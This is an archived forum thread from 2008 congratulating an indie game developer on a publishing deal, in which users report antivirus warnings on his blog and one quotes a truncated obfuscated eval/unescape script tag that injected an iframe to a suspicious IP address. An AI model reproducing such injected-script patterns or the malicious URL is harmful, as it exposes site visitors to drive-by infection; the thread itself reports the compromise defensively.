Adventure Game Studio

Community => Adventure Related Talk & Chat => Topic started by: edmundito on Tue 19/02/2008 16:49:29

Title: PlayFirst Signs Acclaimed Developer Wadjet Eye Games to Publishing Deal
Post by: edmundito on Tue 19/02/2008 16:49:29
Here's the big news from the Game Developers Conference:

http://biz.yahoo.com/prnews/080218/aqm033.html?.v=38

SAN FRANCISCO, Feb. 18 /PRNewswire/ -- PlayFirst, Inc., the leading publisher focused exclusively on casual games, today announced a publishing deal with Wadjet Eye Games, an independent game developer that was nominated for "Best New Studio" at the 2007 Game Developer's Conference. Under the terms of the agreement, Wadjet Eye will develop a new casual adventure title to be published by PlayFirst.

"When we first met Wadjet Eye at GDC 2007, we knew we had found a talented independent developer with a similar creative philosophy to ours: the casual games industry needs more innovative games," said Kenny Shea Dinkin, vice president and creative director, PlayFirst. "We look forward to working with Wadjet Eye and creating an imaginative and inventive game that will break the mold."

PlayFirst will fund Wadjet Eye's game development and take the lead over the sales and marketing of the game, allowing Wadjet Eye to focus on game development.

"This partnership with PlayFirst presents a great opportunity for us to make a game that we really want to make," said David Gilbert, chief executive officer, Wadjet Eye Games. "Being an independent developer we've been hampered by low budgets, so this partnership will allow us to focus on what we do best."
Title: Re: PlayFirst Signs Acclaimed Developer Wadjet Eye Games to Publishing Deal
Post by: Darth Mandarb on Tue 19/02/2008 17:04:44
This is amazing news!!

Congrats Dave Gilbert and the Wadjet Eye Games team!  We can all say "I knew them when..."

But Dave ... seriously man ... don't forget the little people ;)

Kudos.
Title: Re: PlayFirst Signs Acclaimed Developer Wadjet Eye Games to Publishing Deal
Post by: Nikolas on Tue 19/02/2008 17:25:39
Most excellent news indeed!

Lovely news! YAY for Dave and the whole team. :)
Title: Re: PlayFirst Signs Acclaimed Developer Wadjet Eye Games to Publishing Deal
Post by: Cino on Tue 19/02/2008 19:47:40
Congrats! This is great.
Title: Re: PlayFirst Signs Acclaimed Developer Wadjet Eye Games to Publishing Deal
Post by: LimpingFish on Tue 19/02/2008 19:51:06
I knew it! Great news, Dave, and best of luck with this! :D
Title: Re: PlayFirst Signs Acclaimed Developer Wadjet Eye Games to Publishing Deal
Post by: ThreeOhFour on Wed 20/02/2008 01:14:06
Woooohooooo!

Great work Dave!
Title: Re: PlayFirst Signs Acclaimed Developer Wadjet Eye Games to Publishing Deal
Post by: Layabout on Wed 20/02/2008 01:21:45
Congrats Dave.
Title: Re: PlayFirst Signs Acclaimed Developer Wadjet Eye Games to Publishing Deal
Post by: GarageGothic on Wed 20/02/2008 01:50:40
Awesome! Congrats, Dave. Or should I say Mr. Chief Executive Officer? I trust that you won't be selling out like Jane Jensen with her minesweeper clones and hidden object games. Remember your roots, man. Will this be an AGS game, I wonder?
Title: Re: PlayFirst Signs Acclaimed Developer Wadjet Eye Games to Publishing Deal
Post by: Stupot on Wed 20/02/2008 02:35:05
Good stuff Dave.  All the best mate.  :)
Title: Re: PlayFirst Signs Acclaimed Developer Wadjet Eye Games to Publishing Deal
Post by: Vince Twelve on Wed 20/02/2008 03:31:59
Wow, big congratulations are in order, Dave.  I'm sure not having to focus on the business/marketing side of things will be a big relief!  Anxiously awaiting your innovative new game!
Title: Re: PlayFirst Signs Acclaimed Developer Wadjet Eye Games to Publishing Deal
Post by: SSH on Wed 20/02/2008 11:53:44
Great news for Dave, just a shame he won't be using AGS anymore...  :'(
Title: Re: PlayFirst Signs Acclaimed Developer Wadjet Eye Games to Publishing Deal
Post by: auriond on Wed 20/02/2008 12:14:36
This is fantastic news! Congratulations!
Title: Re: PlayFirst Signs Acclaimed Developer Wadjet Eye Games to Publishing Deal
Post by: on Wed 20/02/2008 12:36:35
Nice one Dave & the team, well done - and good luck! I look forward to playing Crack Dash ;)
Title: Re: PlayFirst Signs Acclaimed Developer Wadjet Eye Games to Publishing Deal
Post by: Ubel on Wed 20/02/2008 12:48:15
WOAH! Finally! Dave has earned this. :) And in ten years when they take over the gaming markets, I can tell the kids in the game store browsing through his games: "I met this guy. He stole my lasagna." ;)
Title: Re: PlayFirst Signs Acclaimed Developer Wadjet Eye Games to Publishing Deal
Post by: Disco on Wed 20/02/2008 14:57:18
Quote from: Pablo on Wed 20/02/2008 12:48:15
"I met this guy. He stole my lasagna." ;)

Wow Pablo, you have a much better Dave story than I do. "We shared a bed one time" probably won't be brought up as often :P

Anyways Dave this is great news and you deserve it. Give Flo my regards, would you? :)
Title: Re: PlayFirst Signs Acclaimed Developer Wadjet Eye Games to Publishing Deal
Post by: vict0r on Wed 20/02/2008 15:03:10
Congratulations! Excellent news! :D
Title: Re: PlayFirst Signs Acclaimed Developer Wadjet Eye Games to Publishing Deal
Post by: Dave Gilbert on Wed 20/02/2008 17:05:43
Thanks everyone!  GDC has been cool so far.  Now as wild and party-crazy as last year, but still amazing in its own way.  I'm blogging about it again at www.davelgil.com if anyone is interested.
Title: Re: PlayFirst Signs Acclaimed Developer Wadjet Eye Games to Publishing Deal
Post by: space boy on Wed 20/02/2008 17:15:15
Congrats!
Title: Re: PlayFirst Signs Acclaimed Developer Wadjet Eye Games to Publishing Deal
Post by: Miez on Wed 20/02/2008 17:16:32
Quote from: Dave Gilbert on Wed 20/02/2008 17:05:43
Thanks everyone!  GDC has been cool so far.  Now as wild and party-crazy as last year, but still amazing in its own way.  I'm blogging about it again at www.davelgil.com if anyone is interested.

Awesome news Dave - well done! ;D

By the way, when surfing to your website McAfee throws me a nasty Trojan warning considering your website! Thought you'd like to know...
Title: Re: PlayFirst Signs Acclaimed Developer Wadjet Eye Games to Publishing Deal
Post by: Gamer_V on Wed 20/02/2008 18:00:16
Quote from: miez on Wed 20/02/2008 17:16:32

By the way, when surfing to your website McAfee throws me a nasty Trojan warning considering your website! Thought you'd like to know...
Got that too, with antivir.

Anyway, congratulations! :)
Title: Re: PlayFirst Signs Acclaimed Developer Wadjet Eye Games to Publishing Deal
Post by: Domino on Wed 20/02/2008 18:01:39
Congratulations Dave. Best wishes to ya!
Title: Re: PlayFirst Signs Acclaimed Developer Wadjet Eye Games to Publishing Deal
Post by: MrColossal on Wed 20/02/2008 18:36:19
Congrats, I hope all turns out the way you want it!

Also, same "virus" warning here too:

Detected As: Exploit-IFrame
Title: Re: PlayFirst Signs Acclaimed Developer Wadjet Eye Games to Publishing Deal
Post by: Emerald on Wed 20/02/2008 18:45:54
Cool. Looks like ya'll are really coming up in the gaming industry.

I never would've believed you could get that kind of attention just from making a game with AGS. Guess I underestimated it.
Title: Re: PlayFirst Signs Acclaimed Developer Wadjet Eye Games to Publishing Deal
Post by: Shane 'ProgZmax' Stevens on Wed 20/02/2008 18:46:06
Yay, this may well mean further Rabbi Stone adventures!
Title: Re: PlayFirst Signs Acclaimed Developer Wadjet Eye Games to Publishing Deal
Post by: Esseb on Thu 21/02/2008 00:08:41
Quote from: MrColossal on Wed 20/02/2008 18:36:19
Also, same "virus" warning here too:

Detected As: Exploit-IFrame

There's a bit of JavaScript at the end of your page, after the closing html tag:

<script>eval(unescape("%77%69%6e%64[more stuff I cut out to not break the forum layout]%29")); </script>

This script injects an iframe pointing to http://81.29.241.70/new/counter.php?3341530786f (where the number is randomized).

I can't open that page right now to see what it contains, but this does look highly suspicious.

Anyway, congratulations, man!
Title: Re: PlayFirst Signs Acclaimed Developer Wadjet Eye Games to Publishing Deal
Post by: Eggie on Thu 21/02/2008 01:18:18
When I last had an MSN conversation with he was squatting in the dirt whittling CD-ROM's out of tree-bark.
It's good ton now the company's moving up, though I'm not sure the games will still have the same charm without the woodworm... and the splinters.
Title: Re: PlayFirst Signs Acclaimed Developer Wadjet Eye Games to Publishing Deal
Post by: MrColossal on Thu 21/02/2008 01:33:29
Quote from: ProgZmax on Wed 20/02/2008 18:46:06
Yay, this may well mean further Rabbi Stone adventures!

Oh gosh... I hope not! Dude had a substantial adventure, any more and it's just wedging a character into stories just to keep brand recognition going. Urgh
Title: Re: PlayFirst Signs Acclaimed Developer Wadjet Eye Games to Publishing Deal
Post by: GarageGothic on Thu 21/02/2008 01:57:11
Quote from: MrColossal on Thu 21/02/2008 01:33:29
Quote from: ProgZmax on Wed 20/02/2008 18:46:06
Yay, this may well mean further Rabbi Stone adventures!

Oh gosh... I hope not! Dude had a substantial adventure, any more and it's just wedging a character into stories just to keep brand recognition going. Urgh

What? And miss out on such exciting Talmudic detective stories as "The Bris" and "The Bar Mitzvah"?
Title: Re: PlayFirst Signs Acclaimed Developer Wadjet Eye Games to Publishing Deal
Post by: SSH on Thu 21/02/2008 09:53:17
I'm waiting for when Rabbi Stone investigates the conspiracy theory that Pearl Harbour was a Jewish plot... "Torah Torah Torah"


(I'm going to keep repeating this joke till someone laughs)
Title: Re: PlayFirst Signs Acclaimed Developer Wadjet Eye Games to Publishing Deal
Post by: Dualnames on Thu 21/02/2008 10:29:44
Man, keep loggin in around here...
Title: Re: PlayFirst Signs Acclaimed Developer Wadjet Eye Games to Publishing Deal
Post by: Nikolas on Thu 21/02/2008 10:45:17
I'm waiting for when Rabbi Stone investigates the conspiracy theory that Pearl Harbour was a Jewish plot... "Torah Torah Torah"

(don't worry SSH. We can share the burden of the same joke again and again...)
Title: Re: PlayFirst Signs Acclaimed Developer Wadjet Eye Games to Publishing Deal
Post by: edmundito on Fri 22/02/2008 08:56:30
Actually, he's making the game we all wanted in the (play)first place:

http://www.davelgil.com/wordpress/?p=212
Title: Re: PlayFirst Signs Acclaimed Developer Wadjet Eye Games to Publishing Deal
Post by: Ionias on Fri 22/02/2008 09:28:00
Seriously dave, you know you had to of seen this coming right? Well if anyone deserves it, it's you. Congrats!
Title: Re: PlayFirst Signs Acclaimed Developer Wadjet Eye Games to Publishing Deal
Post by: Ali on Fri 22/02/2008 12:29:29
Congratulations to Dave. I hope this spells more success for him and more games for me to play!
Title: Re: PlayFirst Signs Acclaimed Developer Wadjet Eye Games to Publishing Deal
Post by: Joseph DiPerla on Sat 23/02/2008 02:48:15
Congrats Dave!!!! Pssstt... See if they can get rights to Zak McKracken and Maniac Mansion and develop sequels. Those are casual games...
Title: Re: PlayFirst Signs Acclaimed Developer Wadjet Eye Games to Publishing Deal
Post by: The Ivy on Sat 23/02/2008 04:01:35
Hey, I'm about to be unemployed again, this time for real. Can I have my old job back? ;)
Title: Re: PlayFirst Signs Acclaimed Developer Wadjet Eye Games to Publishing Deal
Post by: hedgefield on Mon 25/02/2008 19:05:29
This is amazing news, congrats Dave! Hooray for more commercial Adventure Games! Can't wait to see what you'll be developing next.
Title: Re: PlayFirst Signs Acclaimed Developer Wadjet Eye Games to Publishing Deal
Post by: Dave Gilbert on Mon 25/02/2008 19:14:06
Yar!  Back from GDC and got the bag of free merchandise swag to prove it.

Thanks for the props, folks.  It means a lot that this community is still behind what I'm doing and isn't all "Dude, you've sold out!"  Getting published is like entering a whole other world.  Sat in a big meeting in SF with the Playfirst folks and we all talked about stuff that, unfortunately, I'd be sued if I told you about.  Suffice to say, it was inspiring and intimidating all at the same time!  Inspiring because a substantial company is backing me and has faith in me, but intimidating because for the first time there is so much at stake! 

Anyway, things are weird but exciting.  I'll be sure to divulge anything that I'm contractually allowed to divulge. :)
Title: Re: PlayFirst Signs Acclaimed Developer Wadjet Eye Games to Publishing Deal
Post by: on Mon 25/02/2008 19:51:52
Some of 'em lie about the shit they got
and what they do on the block
Some of 'em lie about the guns they pop
But he don't (he don't) he don't (he don't)
That's how it is for him 'cause he lives a bo$$' life
Title: Re: PlayFirst Signs Acclaimed Developer Wadjet Eye Games to Publishing Deal
Post by: Peder 🚀 on Mon 25/02/2008 21:34:42
Congrats Dave!!

I will repeat again what another member said.
QuoteWill this be an AGS game, I wonder?

Are you allowed to "leak" this kind of information to your fans? :P

Anyways, Good Luck!
I look forward to both the new blackwell game and this new game we know nothing about!


Peder Johnsen
Title: Re: PlayFirst Signs Acclaimed Developer Wadjet Eye Games to Publishing Deal
Post by: Domino on Mon 25/02/2008 21:56:48
I think it is going to be Grand Theft Auto V, but don't quote me on it.

;)
Title: Re: PlayFirst Signs Acclaimed Developer Wadjet Eye Games to Publishing Deal
Post by: Dave Gilbert on Mon 25/02/2008 22:19:39
Quote from: Peder Johnsen on Mon 25/02/2008 21:34:42
Congrats Dave!!

I will repeat again what another member said.
QuoteWill this be an AGS game, I wonder?

Are you allowed to "leak" this kind of information to your fans? :P

Anyways, Good Luck!
I look forward to both the new blackwell game and this new game we know nothing about!


Peder Johnsen

Hi Peder.

The game will be played from within Playfirst's SDK.  As for what tools we are using to build it, I can't really say yet.
Title: Re: PlayFirst Signs Acclaimed Developer Wadjet Eye Games to Publishing Deal
Post by: Layabout on Mon 25/02/2008 22:54:16
Which means he could do a 3D or 2.5D game, or simply 2D. With so many choices, what will you choose Dave?!?

Give me a bell if you want to see a sample of my 3d work. (subtle hint)

:) Once again, well done.
Title: Re: PlayFirst Signs Acclaimed Developer Wadjet Eye Games to Publishing Deal
Post by: Dave Gilbert on Fri 29/02/2008 16:09:30
In case anyone is interested, I wrote a little GDC Report over at my blog.  I upgraded my Wordpress files to the latest and (supposedly) most secure version so I think I got that trojan issue sussed as well.

Title: Re: PlayFirst Signs Acclaimed Developer Wadjet Eye Games to Publishing Deal
Post by: Gamer_V on Fri 29/02/2008 18:14:38
Don't want to ruin the fun, but I'm still getting the warning from my virusscanner.
Title: Re: PlayFirst Signs Acclaimed Developer Wadjet Eye Games to Publishing Deal
Post by: Dave Gilbert on Fri 29/02/2008 20:27:54
Grrrr.

It's not anything that effects your computer, just the wordpress blogging software.  I have no idea what causes it.  I tried removing some suspicious looking code from a php file but it still comes up.

Anyway, GDC.  Playfirst.  Yeah.
Title: Re: PlayFirst Signs Acclaimed Developer Wadjet Eye Games to Publishing Deal
Post by: SSH on Fri 29/02/2008 20:29:10
I've heard that it can be the whole shared server you're on that can be hacked, so talk to your hosting provider...
Title: Re: PlayFirst Signs Acclaimed Developer Wadjet Eye Games to Publishing Deal
Post by: Nikolas on Fri 29/02/2008 21:06:36
I do remember that this was a problem not too long ago with your site, Dave, and it was your provider... Change provider I say, or at least talk to them... (yet more echo in this site... I just repeated what Andrew said... :P)